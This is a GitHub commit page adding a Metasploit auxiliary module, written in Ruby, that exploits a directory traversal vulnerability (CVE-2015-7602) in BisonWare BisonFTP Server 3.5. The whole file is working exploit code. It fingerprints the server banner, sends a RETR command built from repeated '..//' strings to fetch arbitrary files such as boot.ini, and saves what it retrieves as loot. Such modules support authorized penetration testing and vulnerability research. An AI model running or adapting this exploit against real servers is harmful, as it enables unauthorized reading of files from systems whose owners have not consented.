Skip to content

Commit 99607e6

Browse files
committed
Land rapid7#6205, BisonWare BisonFTP Server Directory Traversal
CVE-2015-7602
2 parents c79a66b + 40bdd2b commit 99607e6

File tree

1 file changed

+96
-0
lines changed

1 file changed

+96
-0
lines changed
Lines changed: 96 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,96 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::Ftp
11+
include Msf::Auxiliary::Report
12+
include Msf::Auxiliary::Scanner
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'BisonWare BisonFTP Server 3.5 Directory Traversal Information Disclosure',
17+
'Description' => %q{
18+
This module exploits a directory traversal vulnerability found in BisonWare BisonFTP server
19+
version 3.5. This vulnerability allows an attacker to download arbitrary files from the server
20+
by crafting a RETR command including file system traversal strings such as '..//.'
21+
},
22+
'Platform' => 'win',
23+
'Author' =>
24+
[
25+
'Jay Turla', # @shipcod3, msf and initial discovery
26+
'James Fitts',
27+
'Brad Wolfe <brad.wolfe[at]gmail.com>'
28+
],
29+
'License' => MSF_LICENSE,
30+
'References' =>
31+
[
32+
[ 'EDB', '38341'],
33+
[ 'CVE', '2015-7602']
34+
],
35+
'DisclosureDate' => 'Sep 28 2015'
36+
))
37+
38+
register_options(
39+
[
40+
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),
41+
OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini'])
42+
], self.class)
43+
44+
end
45+
46+
def check_host(ip)
47+
begin
48+
connect
49+
if /BisonWare BisonFTP server product V3\.5/i === banner
50+
return Exploit::CheckCode::Appears
51+
end
52+
ensure
53+
disconnect
54+
end
55+
56+
Exploit::CheckCode::Safe
57+
end
58+
59+
def run_host(target_host)
60+
begin
61+
connect_login
62+
sock = data_connect
63+
64+
file_path = datastore['PATH']
65+
file = ::File.basename(file_path)
66+
67+
# make RETR request and store server response message...
68+
retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"
69+
res = send_cmd( ["RETR", retr_cmd])
70+
71+
# read the file data from the socket that we opened
72+
response_data = sock.read(1024)
73+
74+
if response_data.length == 0
75+
print_status("File (#{file_path})from #{peer} is empty...")
76+
return
77+
end
78+
79+
# store file data to loot
80+
loot_file = store_loot("bisonware.ftp.data", "text", rhost, response_data, file, file_path)
81+
vprint_status("Data returned:\n")
82+
vprint_line(response_data)
83+
print_good("Stored #{file_path} to #{loot_file}")
84+
85+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
86+
vprint_error(e.message)
87+
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
88+
rescue ::Timeout::Error, ::Errno::EPIPE => e
89+
vprint_error(e.message)
90+
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
91+
ensure
92+
data_disconnect
93+
disconnect
94+
end
95+
end
96+
end

0 commit comments

Comments
 (0)